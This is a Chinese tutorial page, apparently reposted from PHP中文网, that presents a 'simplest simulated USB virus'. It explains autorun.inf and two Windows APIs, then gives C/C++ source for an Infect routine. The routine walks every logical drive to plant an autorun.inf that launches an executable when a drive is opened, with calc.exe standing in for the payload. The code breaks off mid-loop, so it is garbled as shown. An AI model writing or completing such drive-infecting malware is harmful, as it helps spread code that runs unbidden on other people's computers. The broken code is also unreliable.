autorun.inf是我们电脑使用中比较常见的系统文件 ,其作用是允许在双击磁盘时自动运行指定的某个文件。
下面介绍几个api函数
1.dword getlogicaldrivestrings(dword nbufferlength, // size of bufferlptstr lpbuffer // drive strings buffer);
2.char *strncpy(char *dest,char *src,size_t n);第1个参数:char *strdest目的字符串指针。 第2个参数:const char *strsource源字符串指针。 第3个参数:size_t count 拷贝长度。 返回值:目的字符串指针。
下面是c/c++代码
#define _CRT_SECURE_NO_WARNINGS #include char *gstrAutoRun = "[autorun] open=calc.exe shell\open\Command=calc.exe shell\explore=资源管理器(&X) shell\explore\Command=calc.exe shellexecute=calc.exe shell\Auto\Command=calc.exe"; void Infect(char *pstrFilePath) { char strDriveStrings[MAXBYTE] = { 0 }; DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings); DWORD dwError = 0; for (size_t i = 0; i以上就是 最简单的模拟U盘病毒(Autorun.inf)的内容,更多相关内容请关注PHP中文网(www.php.cn)!
登录后复制
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。
发布者:PHP中文网,转转请注明出处:https://www.chuangxiangniao.com/p/2552047.html